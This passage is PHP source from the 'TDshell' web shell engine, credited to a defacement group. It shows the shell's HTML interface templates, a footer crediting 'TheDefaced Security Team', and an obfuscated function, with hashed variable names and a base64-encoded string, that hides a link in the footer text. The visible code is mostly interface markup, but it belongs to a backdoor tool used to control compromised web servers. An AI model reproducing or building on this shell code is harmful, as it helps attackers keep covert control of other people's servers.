<div id="content"><center><font style="font-size: 10px"><a id="MAIN_PAGE_LAST_URI" href="' . current_URI() . '">[back]</a> <a id="MAIN_PAGE_CUR_URI" href="' . current_URI() . '">[refresh]</a></font></center></div>';
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_BODY_PRE"] .= '<div id="content_dat"><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="left"><div id="content_main" style="display:block;"><div id="script">';
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_BODY_SUF"] = '</div></div></td><td align="right" valign="top" nowrap><div align="right"><a id="button_contain_main" href="javascript:;" onclick=\'itemShowHide("content_main","button_contain_main");\'>[-]</a></div></td></tr></table></div></div><div id="content"><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="left" valign="top"><div id="content_bottom_exp" style="display:block;">' . $TDshell->content_bottom_ext() . '</div></td><td align="right" valign="top" nowrap><a id="content_bottom_exp_b" href="javascript:;" onClick=\'itemShowHide("content_bottom_exp","content_bottom_exp_b");\'>[-]</a></td></tr></table></div>';
|
|||
|
|
|||
|
function rphr($_8be065792f9eec8d918c4f68366fc910)
|
|||
|
{
|
|||
|
$_0609efb0bd944720d85b944586f4dcc7 = @preg_split("//", $_8be065792f9eec8d918c4f68366fc910);
|
|||
|
$_4f901119c5ddebb5aa98afc37062ae17 = $_0609efb0bd944720d85b944586f4dcc7[@rand(0, @count($_0609efb0bd944720d85b944586f4dcc7) - 1)];
|
|||
|
$_8be065792f9eec8d918c4f68366fc910 = @str_replace($_4f901119c5ddebb5aa98afc37062ae17, $GLOBALS['TDshell']->make_link(@base64_decode("OTQ1VU84VUVSLTQzOFVFOVJJT0dILTVZUlRHVTlJT1JUTkhHRTVULTQzNVRVR0ZJNUgzNFRBVzk4NC00LTMtMzQ1VERGUw=="), NULL, $_4f901119c5ddebb5aa98afc37062ae17), $_8be065792f9eec8d918c4f68366fc910);
|
|||
|
return $_8be065792f9eec8d918c4f68366fc910;
|
|||
|
}
|
|||
|
|
|||
|
$TDshell->TDshell_template["HTML_FOOTER_MAIN"] = '<div id="footer">' . rphr("This shell was created using the") . ' <b>' . $TDshell->make_link("credits", NULL, "TDshell") . '</b> Engine by <a href="http://thedefaced.org/"><b>TheDefaced Security Team ( www.TheDefaced.org )</b></a>. Page generated in {TIME_TAKEN} seconds. <a href="javascript:;" onclick=\'itemShowHide("footer_note","button_footer_note");\'><u>Note</u></a>: <div id="footer_note" style="display: none;"><b>The generation time of {TIME_TAKEN} does not apply to links you clicked within this shell (as it does use javascript HTTP queries).</b></div> <a id="button_footer_note" href="javascript:;" onclick=\'itemShowHide("footer_note","button_footer_note");\'>[+]</a></div></body></html>';
|
|||
|
$TDshell->init();
|
|||
|
|